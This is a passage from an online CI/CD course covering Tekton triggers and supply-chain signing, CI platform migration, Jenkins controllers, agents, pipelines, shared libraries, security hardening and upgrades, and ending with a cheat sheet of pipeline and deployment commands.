scan-image: no such file or directory: /workspace/src
build-image: success
scan-image: failed
```

The author assumed that all tasks shared one disk. Each task ran in its own pod. The pipeline was changed to bind one persistent volume claim as a shared workspace, and the build task now writes the image digest to a result so the scan task does not depend on local files at all.

Common mistakes

- Assuming tasks share a filesystem
- Using large results instead of workspaces
- Unpinned step images
- Leaving finished runs in the cluster forever

Check yourself

What runs as one pod in Tekton?

Answer: A TaskRun

How do separate tasks share large files?

Answer: A workspace backed by a volume

What does runAfter do?

Answer: Orders one task after another

What creates a run from a Pipeline?

Answer: A PipelineRun

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 24. Tekton: triggers, supply chain and production use

14 minutes. Start Tekton from events with Triggers, sign and attest builds with Chains, and run Tekton safely with RBAC, quotas and pruning.

A Pipeline definition does nothing until something creates a run. Tekton Triggers connects events to runs, Chains adds signatures and provenance, and a few production practices keep a CI system that lives inside your cluster from harming it.

What you will learn

- How Triggers turns a webhook into a PipelineRun
- What Chains signs and attests
- RBAC, namespaces and quotas for CI
- Pruning, metrics and upgrades

Triggers

```
apiVersion: triggers.tekton.dev/v1beta1
kind: TriggerBinding
metadata:
  name: push-binding
spec:
  params:
    - name: revision
      value: $(body.after)
    - name: repo
      value: $(body.repository.clone_url)
---
apiVersion: triggers.tekton.dev/v1beta1
kind: TriggerTemplate
metadata:
  name: ci-template
spec:
  params:
    - name: revision
    - name: repo
  resourcetemplates:
    - apiVersion: tekton.dev/v1
      kind: PipelineRun
      metadata:
        generateName: ci-run-
      spec:
        pipelineRef:
          name: ci
        params:
          - name: revision
            value: $(tt.params.revision)
```

An **EventListener** is a service that receives webhooks. A **TriggerBinding** picks fields from the payload, and a **TriggerTemplate** creates the resources. Add an interceptor to verify the webhook secret and filter events, so only valid, wanted pushes start builds.

Chains

Tekton Chains watches completed TaskRuns, signs images and results and stores **provenance** that records what built what. It uses keys from a KMS or keyless signing and gives you evidence that an image came from your pipeline, which later admission policies can verify.

Production practices

- Run each team's pipelines in its own namespace with a dedicated service account and the least RBAC it needs.

MARGA by EknathaLabs marga.eknathalabs.com

- Set resource requests, limits and a ResourceQuota so a build cannot starve the cluster.
- Pin step images by digest and use trusted bundles or a catalog with review.
- Prune finished runs on a schedule, and export controller metrics to your monitoring.
- Upgrade the controllers on a plan, because custom resources and APIs evolve.

```
kubectl get pipelineruns -n ci --sort-by=.metadata.creationTimestamp | tail
tkn pipelinerun delete --keep 50 -n ci -f
```

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Tekton: triggers, supply chain and production use fits together

Part	What it does	What goes wrong
Triggers	An EventListener is a service that receives webhooks.	Webhook endpoints with no secret validation.
Chains	Tekton Chains watches completed TaskRuns, signs images and results and stores provenance that records what built what.	Mutable step images such as latest.
Production practices	Run each team's pipelines in its own namespace with a dedicated service account and the least RBAC it needs.	One shared service account with broad rights.

Flow: Triggers to Chains / Chains to Production practices

Incident: Ten thousand finished runs

Incident: *Old runs piled up in the cluster and slowed the API server.*

```
$ kubectl get taskruns -A | wc -l
10482
apiserver: etcd request took 2.1s
```

Nobody had set a retention policy, so every run stayed as objects in the cluster. Listing them was slow and the control plane suffered. The team enabled automatic pruning, shipped logs and results to external storage and added a quota on the CI namespace.

Common mistakes

- No pruning of old runs
- One shared service account with broad rights
- Webhook endpoints with no secret validation
- Mutable step images such as latest

Check yourself

What receives webhooks in Tekton Triggers?

Answer: An EventListener

What does Tekton Chains produce?

Answer: Signatures and provenance for builds

How limit CI resource use?

Answer: Quotas, requests and limits in a namespace

Why pin step images by digest?

Answer: A tag can change to different content

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 25. Choosing and migrating between CI platforms

12 minutes. Compare GitHub Actions, GitLab CI and Tekton on cost, security, scale and effort, and plan a safe migration from one to another.

Choosing a CI platform is a long-term decision, and moving later costs real time. A clear comparison and a careful migration plan avoid both the wrong choice and a stalled migration.

What you will learn

- A comparison table you can reuse
- Questions that decide the choice
- A migration plan that limits risk
- Measuring whether the move helped

Comparison

Area	GitHub Actions	GitLab CI	Tekton
Where it runs	Hosted by the code platform, or your runners	Hosted or self-managed, or your runners	Your Kubernetes clusters
Config	YAML in the repository	YAML in the repository	Kubernetes custom resources
Reuse	Marketplace, reusable workflows	Includes, templates	Tasks, bundles, catalogs
Strength	Ecosystem and ease	Integrated platform and DAG	Control and cloud-native fit
Cost to run	Minutes plus runner effort	License plus runner effort	Cluster and platform team effort

Tekton is rarely a developer's first choice on its own. It fits when a platform team builds a delivery product on Kubernetes.

Questions that decide

- Where do code and reviews live now? Staying close removes integration work.
- Who must own and patch the workers, and is that acceptable?
- Do builds need private networks, special hardware or air-gapped clusters?
- What audit, approval and policy evidence does your industry require?
- What does the bill look like at your build volume?
- What skills does the team already have?

Migration plan

```
# inventory: list pipelines and what they use
grep -rl "docker build" --include="*.yml" . | wc -l
# move logic into scripts any platform can call
./ci/build.sh && ./ci/test.sh && ./ci/package.sh
```

1. **Inventory** pipelines, secrets, runners, schedules and integrations.
2. **Extract** build logic into scripts so the platform file becomes thin.
3. **Pilot** with one low-risk service and write down what surprised you.
4. **Run in parallel** and compare duration, results and cost.
5. **Cut over** in waves with a rollback date, then archive the old pipeline.

MARGA by EknathaLabs marga.eknathalabs.com

Measure

Track lead time, failure rate, queue time and cost before and after. If the numbers do not improve, find out why before moving the next wave.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Choosing and migrating between CI platforms fits together

Part	What it does	What goes wrong
Comparison	Tekton is rarely a developer's first choice on its own.	Leaving logic in platform-specific YAML.
Questions that decide	Where do code and reviews live now?. Staying close removes integration work.	Check the Common mistakes list below this diagram for what usually goes wrong here.
Migration plan	Inventory pipelines, secrets, runners, schedules and integrations.	No success metrics for the move.
Measure	Track lead time, failure rate, queue time and cost before and after.	If the numbers do not improve, find out why before moving the next wave.

Flow: Comparison to Questions that decide / Questions that decide to Migration plan / Migration plan to Measure

Incident: Ten months for a three month plan

Incident: *A migration dragged on because every pipeline had hidden dependencies.*

```
inventory: 214 pipelines
undocumented secrets found: 61
pipelines calling internal scripts by path: 87
```

The plan treated each pipeline as a copy job. Discovery showed secrets nobody had documented and scripts called by absolute path. The team paused, built the shared scripts layer, ran a pilot, documented the surprises and then moved in waves, finishing predictably.

Common mistakes

- Choosing by trend instead of requirements
- Migrating everything at once
- Leaving logic in platform-specific YAML
- No success metrics for the move

Check yourself

What is the first migration step?

Answer: Inventory pipelines, secrets and runners

Why extract logic into scripts?

Answer: The platform file becomes thin and portable

When is Tekton a fit?

Answer: When a platform team builds on Kubernetes

How do you know a migration helped?

Answer: Compare lead time, failure rate and cost before and after

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 26. Jenkins: controllers, agents and jobs

13 minutes. Understand how a Jenkins controller schedules work on agents, what a job and a build are, and where Jenkins keeps its state.

Jenkins is the long-lived, self-hosted CI server that many companies still run. Before writing a pipeline it helps to know the moving parts, because most Jenkins problems are really problems with the controller, an agent or the disk they share.

What you will learn

- What the controller and agents each do
- The difference between a job, a build, a node and an executor
- Where Jenkins keeps its configuration and history
- Why builds should not run on the controller

The two roles

The **controller** (older docs say master) serves the web interface, stores configuration, holds the build queue, keeps credentials and decides where each build runs. An **agent** is any machine or container that connects to the controller and runs build steps. Each agent offers a number of **executors**, and each executor runs one build at a time.

Diagram: How a Jenkins build is scheduled

Part	What it does	What goes wrong
Trigger	A push, a schedule, a webhook or a click starts a build.	A missed webhook means no build and no error. Check the repository hook deliveries.
Controller	Keeps the queue, picks an agent by label and stores the result.	If it is overloaded or its disk is full, nothing in Jenkins works.
Agent	Connects to the controller and runs the steps in a workspace.	An offline or mislabelled agent leaves builds waiting in the queue.
JENKINS_HOME	Configuration, job definitions, build history and secrets on disk.	Without a backup, a lost disk means losing every job and credential.
Result	Logs, test reports and artifacts are sent back and kept.	Unlimited history fills the disk; set build discard rules.

Flow: Trigger to Controller / Controller to Agent / Agent to Result / Controller to JENKINS_HOME

Jobs, builds and nodes

A **job** (also called a project) is the definition: where the code is, when to run, what steps to take. A **build** is one run of a job, numbered 1, 2, 3 and so on, with its own log and workspace. A **node** is a machine that can run builds, and a **label** such as `linux-docker` lets a job ask for the kind of node it needs instead of a named machine.

Where state lives

Everything that matters sits in the `JENKINS_HOME` directory: `config.xml`, `jobs/` with each job's configuration and build records, `credentials.xml` and `secrets/` for encrypted secrets, `plugins/` and `nodes/`. A good backup copies this directory (minus the large workspaces), and an equally good habit is to describe the configuration as code so the controller can be rebuilt from a file.

MARGA by EknathaLabs marga.eknathalabs.com

Why the controller runs no builds

Set the number of executors on the built-in node to 0. Builds then go to agents, and a runaway test cannot take the web interface down. It also means build code never runs on the machine that holds every credential, which is a security rule as much as a stability one.

```
$ ls /var/lib/jenkins
config.xml  credentials.xml  jobs  nodes  plugins  secrets  users  workspace
$ du -sh /var/lib/jenkins/jobs/*  | sort -h | tail -2
4.1G  /var/lib/jenkins/jobs/api-build
18G   /var/lib/jenkins/jobs/nightly-e2e
```

Incident: The nightly job that filled the disk

Incident: *A job kept every build and its artifacts forever, and the controller disk filled up on a Friday night.*

```
$ df -h /var/lib/jenkins
/dev/sda1  100G  100G  0  100%
java.io.IOException: No space left on device
Build queue: 47 waiting, 0 running
```

Builds stopped starting and the log said nothing useful in the web page because Jenkins could not write it. The fix was to delete old builds by hand, then set a discard rule keeping the last 20 builds and 14 days of artifacts, and to alert when the disk passes 70 percent.

Common mistakes

- Running builds on the controller
- Never setting a build discard policy
- Treating JENKINS_HOME as unimportant and not backing it up
- Naming agents by machine instead of using labels

Check yourself

What does an executor do?

Answer: Runs one build at a time on a node

Where does Jenkins keep job configuration and build history?

Answer: In the JENKINS_HOME directory

Why set the controller's executors to 0?

Answer: So builds run on agents and cannot starve or expose the controller

What is a label for?

Answer: Letting a job ask for a kind of node instead of a named one

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 27. Jenkins: declarative pipelines and the Jenkinsfile

14 minutes. Write a declarative Jenkinsfile with stages, steps, environment, conditions and post actions, and read a failed run.

A Jenkinsfile is Jenkins' answer to pipeline as code. It is read from the repository on every run, reviewed like any other change and versioned with the code it builds. The declarative form is the one to learn first because its structure is checked before anything runs.

What you will learn

- The parts of a declarative pipeline
- Stages, steps, environment and post actions
- Conditions, parallel stages and options
- Reading a failed build log

A first Jenkinsfile

```
pipeline {
  agent { label 'linux-docker' }
  options { timeout(time: 20, unit: 'MINUTES'); disableConcurrentBuilds() }
  environment { IMAGE = "registry.example.com/shop/api:${env.GIT_COMMIT.take(7)}" }
  stages {
    stage('Test')  { steps { sh 'make test' } }
    stage('Build') { steps { sh 'docker build -t $IMAGE .' } }
    stage('Push')  {
      when { branch 'main' }
      steps { sh 'docker push $IMAGE' }
    }
  }
  post {
    failure { echo 'Build failed' }
    always  { junit 'reports/*.xml' }
  }
}
```

The structure

`pipeline` is the root. `agent` says where to run, `environment` sets variables, `stages` holds a list of `stage` blocks and each stage has `steps`. `post` runs after the stages and can react to `success`, `failure`, `unstable` or `always`. Jenkins checks this shape before it starts, so a typo in a directive fails in seconds, not after twenty minutes.

Diagram: The life of a declarative run

Part	What it does	What goes wrong
Checkout	Jenkins fetches the repository and reads the Jenkinsfile.	A Jenkinsfile on the wrong branch gives a different pipeline than you expect.
Test stage	Runs the test command on the chosen agent.	A flaky test fails the whole run; fix it or quarantine it.
Build stage	Builds the image or artifact.	Without a pinned base image the result can change between runs.
Push stage	Pushes only on the main branch because of the when condition.	A missing condition publishes images from every branch.
Post actions	Publishes reports and notifies, whatever the outcome.	Skipping always {} loses test reports on failure.

Flow: Checkout to Test stage / Test stage to Build stage / Build stage to Push stage / Push stage to Post actions

MARGA by EknathaLabs marga.eknathalabs.com

Controlling the flow

Use `when` to run a stage only for a branch, a tag or a changed path. Use `parallel` to run independent stages at once, and `options` for `timeout`, `retry` and `buildDiscarder`. Avoid `script { }` blocks except for small bits of logic; if you need loops and functions, move them into a script file or a shared library.

Reading a failed run

Open the build, then Console Output, and search for the first `ERROR` or the stage marked red in the stage view. The steps before it are context; the first failure is the cause.

Incident: The pipeline that published every branch

Incident: *A missing when condition pushed an image from a feature branch over the production tag.*

```
stage 'Push' ran on branch feature/login
$ docker push registry/shop/api:latest
latest: digest: sha256:9f2c1e size: 1572
Finished: SUCCESS
```

Production pulled the new image on its next restart and served half-finished login code. The team added when { branch 'main' }, tagged images with the commit hash instead of latest, and made the push stage require a protected branch.

Common mistakes

- Putting long shell scripts inline in the Jenkinsfile
- Pushing images on every branch
- Using latest as the only tag
- Forgetting a timeout so a hung build holds an executor

Check yourself

Why keep the Jenkinsfile in the repository?

Answer: It is versioned, reviewed and survives a rebuilt controller

What does a when condition do?

Answer: Runs a stage only if the condition is true

When does the post section run?

Answer: After the stages, with blocks for success, failure or always

How do you find the cause of a failed build?

Answer: Find the first error in the console output or the red stage

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 28. Jenkins: build agents with Docker and Kubernetes

13 minutes. Run builds on throwaway agents: static nodes, Docker agents and the Kubernetes plugin with pod templates.

Where a build runs decides how repeatable it is. Machines that live for years collect leftover files, different tool versions and quiet changes. Jenkins can instead start a clean container per build, which is the same idea you use everywhere else.

What you will learn

- Static agents and why they drift
- Running a build inside a Docker image
- Dynamic agents with the Kubernetes plugin and pod templates
- Sizing, cleanup and caching for ephemeral agents

Three ways to get an agent

A **static agent** is a machine you set up once and connect over SSH or the inbound agent. It is simple but drifts. A **Docker agent** runs the pipeline inside an image you choose. A **Kubernetes agent** starts a pod for the build and deletes it when the build ends.

```
pipeline {
  agent { docker { image 'node:20-alpine' } }
  stages { stage('Test') { steps { sh 'npm ci && npm test' } } }
}
```

Kubernetes pod templates

With the Kubernetes plugin the controller talks to a cluster, creates a pod with a `jnlp` (inbound agent) container plus the tool containers you list, runs the stages inside them and removes the pod after.

```
pipeline {
  agent {
    kubernetes {
      yaml '''
        apiVersion: v1
        kind: Pod
        spec:
          containers:
          - name: node
            image: node:20-alpine
            command: [sleep]
            args: [infinity]
            resources: { requests: { cpu: 500m, memory: 1Gi } }
      '''
    }
  }
  stages { stage('Test') { steps { container('node') { sh 'npm ci && npm test' } } } }
}
```

MARGA by EknathaLabs marga.eknathalabs.com

Diagram: A build on a Kubernetes agent

Part	What it does	What goes wrong
Controller	Sees a queued build that needs a pod agent.	An unreachable cluster API leaves builds waiting.
Kubernetes API	Receives the pod request from the plugin.	Missing RBAC rights give a forbidden error and no pod.
Agent pod	Starts the inbound agent and tool containers and connects back.	An image that cannot be pulled keeps the pod Pending.
Steps run	The stages run inside the tool containers.	No resource requests can starve neighbours or get the pod evicted.
Pod deleted	The pod is removed when the build ends.	A hung build holds the pod; use a timeout.

Flow: Controller to Kubernetes API / Kubernetes API to Agent pod / Agent pod to Steps run / Steps run to Pod deleted

Practical rules

Pin image tags so a build today matches a build next month. Set resource requests and limits so one build cannot eat a node. Cache dependencies with a persistent volume or a registry mirror, because a fresh pod starts with an empty disk. Use a timeout and make the pod label unique so pods are easy to find when something is stuck.

Incident: The agent pods that never started

Incident: *Builds queued for an hour because the pod could not pull its image from a private registry.*

```
$ kubectl get pods -n ci
build-81-x9k2   0/2   ImagePullBackOff   0   6m
Failed to pull image "registry.example.com/ci/node": unauthorized
Build #81 waiting for next available executor
```

The service account had no image pull secret. Adding the secret to the namespace fixed it, and the team added an alert for agent pods that stay Pending more than five minutes.

Common mistakes

- Using latest for tool images
- Not setting resource requests on agent pods
- Forgetting that a new pod has an empty cache
- Running privileged Docker-in-Docker without understanding the risk

Check yourself

What is the main benefit of ephemeral agents?

Answer: Every build starts from a clean, defined environment

What does the Kubernetes plugin create for each build?

Answer: An agent pod that is deleted afterwards

A pod agent stays Pending with ImagePullBackOff. What is likely?

Answer: The image cannot be pulled, often a registry credential

Why pin image tags for agents?

Answer: So builds are repeatable over time

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 29. Jenkins: shared libraries and reusable pipelines

13 minutes. Share pipeline code across many repositories with Jenkins shared libraries, global variables and versioned releases.

Jenkinsfiles are copied easily and updated badly. A shared library turns the repeated parts of your pipelines into one place with versions, so a fix reaches every project without fifty pull requests.

What you will learn

- The layout of a shared library
- Calling a library step from a Jenkinsfile
- Versioning and testing a library
- What belongs in a library and what does not

Layout

```
(library repository)
vars/
  buildImage.groovy     # a global step: buildImage(name: 'api')
  deployTo.groovy
src/org/shop/Util.groovy  # helper classes
resources/                # templates and files
```

A file in `vars/` becomes a step with the same name. It defines a `call` method.

```
// vars/buildImage.groovy
def call(Map cfg) {
  sh "docker build -t ${cfg.name}:${env.GIT_COMMIT.take(7)} ."
  if (cfg.push) { sh "docker push ${cfg.name}:${env.GIT_COMMIT.take(7)}" }
}

// Jenkinsfile in a project
@Library('shop-pipeline@v2.3.0') _
pipeline {
  agent any
  stages { stage('Build') { steps { buildImage(name: 'registry/shop/api', push: env.BRANCH_NAME == \
     'main') } } }
}
```

Diagram: How a library reaches a pipeline

Part	What it does	What goes wrong
Library repository	Holds vars/ steps and src/ helpers, tagged by version.	An untested change to main breaks every project that tracks it.
Library configuration	Controller setting that names the repository and default version.	An implicit load of the default branch gives surprise changes.
Jenkinsfile	Declares @Library with a pinned version and calls steps.	An unpinned library changes behaviour with no commit in your repository.
Pipeline run	Loads the library at the pinned version and runs the steps.	A step that hides secrets in logs or runs arbitrary code is a risk.
Sandbox job	A job that tests a new library version before it is tagged.	Without it the first test is production.

Flow: Library repository to Library configuration / Library configuration to Jenkinsfile / Jenkinsfile to Pipeline run / Library repository to Sandbox job

MARGA by EknathaLabs marga.eknathalabs.com

Good habits

Tag releases (`v2.3.0`) and let each project upgrade on its own schedule. Keep steps small and named for what they do. Never put secrets in the library; read them from credentials at run time. Give a library an owner, a changelog and a test job that runs the steps against a sample repository.

Incident: The library change that broke forty pipelines

> **Incident:** *A change on the main branch of the library renamed a parameter and all projects that tracked main failed at once.*

```
groovy.lang.MissingPropertyException: No such property: imageName for class: buildImage
Finished: FAILURE
40 jobs failed within 10 minutes
```

Every project loaded the library at its latest main. After the incident, projects pinned @Library to a tag, the library gained a sandbox job and breaking changes needed a new major version.

Common mistakes

- Tracking the library's main branch from every project
- Putting credentials or tokens in the library
- Making one huge step that does everything
- No tests or changelog for the library

Check yourself

What does a file in vars/ become?

Answer: A global pipeline step

How should projects reference a library in production pipelines?

Answer: Pinned to a tagged version

What belongs in a shared library?

Answer: Reusable pipeline behaviour

How do you check a library change safely?

Answer: Run a sandbox job against the new version first

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 30. Jenkins: credentials, security and hardening

14 minutes. Store secrets safely, limit who can do what, keep build code away from the controller and harden a Jenkins server.

A CI server can read your code, push to your registry and often deploy to production. That makes it one of the most valuable targets in a company. Hardening Jenkins is mostly a short list of habits applied every time.

What you will learn

- How the credentials store scopes and masks secrets
- Authentication and role-based access
- Keeping build code away from the controller
- Patching, plugins and an audit trail

Credentials

Store secrets in the credentials store, give each a clear ID and bind them only where needed with `withCredentials`. Jenkins masks the exact value in logs, but masking does not catch a modified copy, so never print secrets at all.

```
withCredentials([string(credentialsId: 'registry-token', variable: 'TOKEN')]) {
  sh 'echo "$TOKEN" | docker login registry.example.com -u ci --password-stdin'
}
```

Prefer short-lived credentials (a cloud role or a vault lease) over a long-lived key, and use folder-scoped credentials so a team can only see its own.

Who can do what

Turn on a security realm (your company SSO) and an authorization strategy such as role-based access: viewers, developers who build, admins who configure. Disable anonymous read. Admin rights should be rare and logged.

Diagram: Layers of Jenkins security

Part	What it does	What goes wrong
Person	Signs in through single sign-on.	Local accounts with shared passwords have no owner.
Authorization	Role-based rules decide who can view, build or configure.	Everyone as admin means every job can read every secret.
Job and library	Pipeline code runs in a sandbox with script approval.	Approving scripts without reading them removes the sandbox.
Agent	Runs the build away from the controller.	Builds on the controller can read the secrets directory.
Audit and patching	Logs who changed what; core and plugins are updated promptly.	Old plugins are the most common entry point.

Flow: Person to Authorization / Authorization to Job and library / Job and library to Agent / Authorization to Audit and patching

Hardening list

Run builds only on agents. Restrict what a pipeline can do with the script sandbox, and review every script approval. Limit agent-to-controller access. Use HTTPS and keep the controller off the public internet if possible. Update the core and plugins on a schedule and remove plugins you do not use, because every plugin adds code that runs with Jenkins' power. Back up `JENKINS_HOME` and test a restore.

MARGA by EknathaLabs marga.eknathalabs.com

Incident: The secret in the build log

Incident: *A debugging line printed an encoded copy of a registry token and masking did not recognise it.*

```
+ echo cmVnaXN0cnktdG9rZW4=
Finished: SUCCESS
audit: registry login from unknown address 203.0.113.50
```

Anyone who could read the job log could decode the token. The team rotated it, switched to short-lived registry tokens issued per build and added a scan that fails a build whose log contains common secret patterns.

Common mistakes

- Printing environment variables while debugging
- Giving all developers admin rights
- Leaving old plugins installed and unpatched
- Allowing builds on the controller

Check yourself

Why does masking not make printing a secret safe?

Answer: A modified copy such as base64 is not masked

Which credential type is safer?

Answer: Short-lived and scoped

Why keep builds off the controller?

Answer: Build code could read the controller's secrets and files

What is a common cause of Jenkins compromise?

Answer: Outdated plugins and core

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 31. Jenkins: plugins, upgrades and operating at scale

13 minutes. Manage plugins and upgrades safely, configure Jenkins as code, and scale with agents, backups and monitoring.

A Jenkins server that has run for years is often a pile of hand-made settings and dozens of plugins. Operating it well means being able to recreate it, upgrade it without fear and notice problems before the users do.

What you will learn

- Choosing the LTS line and managing plugins
- Configuration as Code for the controller
- Backups, restores and a safe upgrade routine
- Metrics that show a Jenkins in trouble

Plugins are dependencies

Each plugin is code that runs inside the controller. Keep a list in a file with pinned versions, install only what you need and read the update notes. Prefer the **LTS** (long-term support) line for the core, which changes slowly and gets security fixes.

```
# plugins.txt
workflow-aggregator:600.vb_57cce
git:5.2.2
kubernetes:4203.v1dc
configuration-as-code:1810.v9b_c30
credentials-binding:687.v619
```

Configuration as Code

The Configuration as Code plugin reads a YAML file and sets up the controller to match: security realm, agents, credentials references and global settings. A rebuilt controller then comes up the same every time.

```
jenkins:
  systemMessage: "Managed by code. Change it in the repository."
  numExecutors: 0
  securityRealm:
    local:
      allowsSignup: false
unclassified:
  location:
    url: https://ci.example.com/
```

Diagram: A safe upgrade routine

Part	What it does	What goes wrong
Read release notes	Check the LTS changelog and plugin compatibility.	Skipping notes hides breaking changes.
Test instance	Start a copy from backup with the new versions.	Testing in production is how Friday outages happen.
Run sample jobs	Build key pipelines and check agents, credentials and plugins.	An empty test misses real breakage.
Fresh backup	Back up JENKINS_HOME and keep the previous version available.	An untested backup is a hope, not a plan.
Upgrade production	Upgrade in a quiet window and watch metrics.	No rollback plan turns a bad upgrade into an outage.

Flow: Read release notes to Test instance / Test instance to Run sample jobs / Run sample jobs to Fresh backup / Fresh backup to Upgrade production

MARGA by EknathaLabs
marga.eknathalabs.com

Watching Jenkins

Measure queue length and time in queue, executor utilisation, build duration, disk use of `JENKINS_HOME` and JVM memory and garbage collection. A growing queue with idle agents points to labels or connection problems. A full disk or heap is the usual cause of a controller that slows down and then stops.

Incident: The plugin upgrade that stopped the controller

> **Incident:** *A batch plugin update left the controller failing at startup because two plugins disagreed about a shared library.*

```
$ journalctl -u jenkins -n 4
SEVERE: Failed Loading plugin workflow-cps v3999
java.lang.NoSuchMethodError: hudson.model.Run.getParent()
Jenkins stopped
```

They restored the plugin directory from the night before, upgraded plugins one group at a time in a test instance and added a written upgrade and rollback routine.

Common mistakes

- Upgrading everything at once on a Friday
- Installing plugins nobody owns
- Keeping backups that were never restored
- Configuring the controller only by clicking in the UI

Check yourself

What is the LTS line?

Answer: A slower-moving release line with security fixes

What does Configuration as Code give you?

Answer: A controller you can recreate from a file

Why test an upgrade on a copy first?

Answer: To find incompatibilities before production

A long queue with idle agents suggests what?

Answer: Label or connection problems

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 32. Jenkins: debugging builds and migrating to another platform

14 minutes. Debug stuck, slow and flaky Jenkins builds, then plan a stepwise migration to Actions or GitLab CI if you choose to move.

Most Jenkins trouble falls into a few patterns, and a short method finds them quickly. Many teams also eventually move to a hosted platform, and a plan that moves one pipeline at a time keeps that from becoming a long project with no end.

What you will learn

- A method for builds that wait, hang or fail
- Using replay, thread dumps and the queue reason
- Taking stock of existing jobs
- Migrating step by step to GitHub Actions or GitLab CI

A method for stuck builds

1. **Waiting in the queue?** Hover over the queued item: the reason says "waiting for next available executor" or "no node with label X".
2. **Agent healthy?** Check the node page: offline, disk full, low memory or a clock problem.
3. **Running but silent?** Look at the last log line and the thread dump of the build to see what it waits for (a lock, a network call, an input step).
4. **Failing?** Find the first error in the log and rerun with **Replay** to test a fix without a commit.

Diagram: Where a Jenkins build can get stuck

Part	What it does	What goes wrong
Queue	Holds builds until a matching executor is free.	A label no agent has leaves the build waiting forever.
Node	An agent with free executors and disk.	Offline, full or out of memory nodes reject or kill builds.
Running step	The command or plugin step that is doing work.	A step waiting for input or a network call hangs the executor.
Console log	The record of what happened.	The first error matters; later errors are noise.
Replay and retry	Edit the pipeline in Replay and rerun to test a fix.	Replay edits are not saved, so copy them into the repository.

Flow: Queue to Node / Node to Running step / Running step to Console log / Console log to Replay and retry

Migrating without a big bang

Start with an **inventory**: list every job, its last run and its owner. Retire jobs that nobody runs. Move build logic into scripts or a Makefile so it runs anywhere. Translate triggers, credentials and approvals one by one (a shared library step may become a reusable workflow or an included template). Run the old and new pipelines side by side until results match, then switch the required check and archive the old job.

```
$ jenkins-inventory --since 180d
jobs: 214   ran in last 180 days: 61   owner unknown: 98
```

Incident: The pipeline that hung for two days

Incident: *A build waited for an input step that was only visible to a person who had left the company.*

```
Waiting for input: Deploy to production?
Approver list: [alice] (account disabled)
```

MARGA by EknathaLabs | marga.eknathalabs.com | free and offline

```
Build running for 49 hours
```

The build held an executor and a lock on the deploy environment. The fix was to give the input step a timeout and a group approver, and to alert on builds running longer than a set time.

Common mistakes

- Restarting the controller before reading the queue reason
- Editing jobs in Replay and forgetting to commit the fix
- Starting a migration with no inventory
- Moving everything at once instead of one pipeline at a time

Check yourself

A build is queued with the reason "no node with label gpu". What is wrong?

Answer: No agent offers that label

What does Replay let you do?

Answer: Try a pipeline edit without a commit

What is the best first step in a migration?

Answer: Inventory the jobs and retire unused ones

How do you reduce migration effort?

Answer: Keep build logic in scripts the pipeline calls

MARGA by EknathaLabs
marga.eknathalabs.com

Cheat sheet: CI/CD

Pipeline stages, a Jenkinsfile skeleton, deployment strategies, and declarative delivery commands.

Terms

Term	Meaning
Continuous integration	Merge often; build and test every change automatically
Continuous delivery	Every passing change is releasable; a human chooses when
Continuous deployment	Every passing change is released automatically

Pipeline stages

1. Checkout the exact revision
2. Build the artifact once
3. Test: lint and unit tests first, then integration
4. Analyze: dependency, secret and image scans
5. Publish with an immutable tag
6. Deploy to a test environment and run smoke tests
7. Promote the same artifact to production and verify

Build once, deploy many. Order checks by speed.

Jenkinsfile skeleton

```
pipeline {
  agent { label 'docker' }
  options {
    timeout(time: 30, unit: 'MINUTES')
    disableConcurrentBuilds()
  }
  environment {
    IMAGE = "registry.example.com/shop-api"
    TAG   = "build-${env.BUILD_NUMBER}"
  }
  stages {
    stage('Test') {
      parallel {
        stage('Unit') { steps { sh 'make test' } }
        stage('Lint') { steps { sh 'make lint' } }
      }
    }
    stage('Build') {
      steps { sh 'docker build -t "$IMAGE:$TAG" .' }
    }
    stage('Push') {
      when { branch 'main' }
      steps {
        withCredentials([usernamePassword(credentialsId: 'registry-creds',
                                          usernameVariable: 'U', passwordVariable: 'P')]) {
          sh 'echo "$P" | docker login registry.example.com -u "$U" --password-stdin'
          sh 'docker push "$IMAGE:$TAG"'
        }
      }
    }
  }
  post {
    always { echo 'done' }
  }
}
```

Use single quotes around shell commands that reference secrets, so the shell expands them and Groovy does not.

MARGA by EknathaLabs
marga.eknathalabs.com

Deployment strategies

Strategy	Strength	Weakness
Recreate	Simple	Downtime
Rolling	No downtime, no extra capacity	Slower rollback, mixed versions
Blue-green	Instant switch and rollback	Double capacity
Canary	Limits blast radius	Needs traffic control and metrics

Feature flags separate deploy from release. Remove them when done.

Database changes

1. Expand: add new schema compatibly
2. Migrate: write both, read new, backfill
3. Contract: drop the old schema in a later release

Verification and rollback

```
kubectl rollout status deployment/shop-api -n shop --timeout=180s
kubectl rollout undo deployment/shop-api -n shop
curl -fsS https://shop.example.com/healthz/ready
```

Delivery metrics

Metric	Question
Deployment frequency	How often do we release?
Lead time for changes	Commit to production?
Change failure rate	Share of releases causing problems?
Time to restore	How fast do we recover?

Declarative delivery

```
argocd app list
argocd app diff shop-api-prod
argocd app sync shop-api-prod
argocd app history shop-api-prod
```

Setting	Effect
`automated.prune`	Delete objects removed from configuration
`automated.selfHeal`	Revert manual cluster changes

Pull model: credentials stay in the cluster, drift is detected, and rollback is a configuration revert.

Pipeline security

- Secrets come from a secret store, never from files in the source
- Short-lived credentials via identity federation
- Separate plan or build permissions from deploy permissions
- Scan images and dependencies; fail on high severity
- Deploy only from the main branch after review

MARGA by EknathaLabs marga.eknathalabs.com

Pipeline hygiene commands

```
yamllint .ci/pipeline.yml
actionlint
docker run --rm -v "$PWD":/src hadolint/hadolint hadolint /src/Dockerfile
shellcheck ci/*.sh
trivy image --severity HIGH,CRITICAL --exit-code 1 app:1.4
trivy fs --scanners vuln,secret .
syft app:1.4 -o spdx-json > sbom.json
cosign sign --key cosign.key registry.example.com/app@sha256:ABC123
cosign verify --key cosign.pub registry.example.com/app@sha256:ABC123
```

Warning: *Do not hide a failing scan with* `|| true` *or* `--exit-code 0` *to make the build green. If a finding is accepted, record it with an owner and an expiry date.*

